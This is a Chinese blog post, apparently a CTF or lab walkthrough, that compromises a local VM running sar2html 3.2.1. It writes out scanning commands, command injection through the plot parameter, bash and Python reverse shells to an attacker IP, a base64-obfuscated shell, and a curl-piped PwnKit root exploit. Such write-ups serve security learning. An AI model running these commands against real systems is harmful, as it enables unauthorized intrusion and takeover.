李乐意的博客

tags:
@ 01/01/0001

端口扫描

nmap --min-rate 10000 -sn 192.168.30.0/24
nmap --min-rate 10000 -p- 192.168.30.142
nmap --min-rate 10000 -sU -p- -oA sacn/udp 192.168.30.142
nmap --min-rate 10000 -sT -sV -sC -O -p80,81 -oA scan/detail  192.168.30.142
nmap --min-rate 10000 -script=vuln -p80 -oA scan/vuln 192.168.30.142  

只开放了80端口。漏洞扫描暴漏两个路径:

| http-enum:                                                                              │└─$
|   /robots.txt: Robots file                                                              │
|_  /phpinfo.php: Possible information file   

服务探测

80端口下是ubuntu默认页。

robots.txt:

image-20250924111138547

莫名其妙的子串在CTF中经常会是个目录。访问成功。是sar2html3.2.1。该版本存在远程命令执行漏洞。

https://www.exploit-db.com/exploits/47204

image-20250924191239649

phpinfo.php

image-20250924111235496

image-20250924183731590

看配置文件信息

目录扫描

gobuster dir -u http://192.168.30.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -o dir

image-20250924183743246

远程代码执行漏洞

https://www.exploit-db.com/exploits/47204

image-20250925091056605

http://192.168.30.142/sar2HTML/index.php?plot=LINUX;/etc/passwd

没反应。但不一定是没成功。

https://www.exploit-db.com/exploits/47204在kali中搜索。

searchsploit sar2html

image-20250926145653319

使用脚本。

python3 /usr/share/exploitdb/exploits/php/webapps/49344.py
Enter The url => http://192.168.30.143/sar2HTML/index.php?plot=
Command => id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

漏洞验证存在。

反弹shell

bash -i >& /dev/tcp/192.168.30.131/443 0>&1
rlwrap nc -lvnp 443

没反应,加密尝试。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjEzMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}

还不可以。

https://www.ddosi.org/shell/

使用python的反弹shell

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("192.168.30.131",443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'

成功。

image-20250926151754865

使用python提升交互性。

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# 或者功能更全的
export TERM=xterm-256color

提权

sudo -l
# 需要密码

find / -perm -u=s -type f 2>/dev/null
# 虽然很多,但是很明显
/snap/core24/1151/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/pkexec
# 使用命令一键提权
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

image-20250926152840239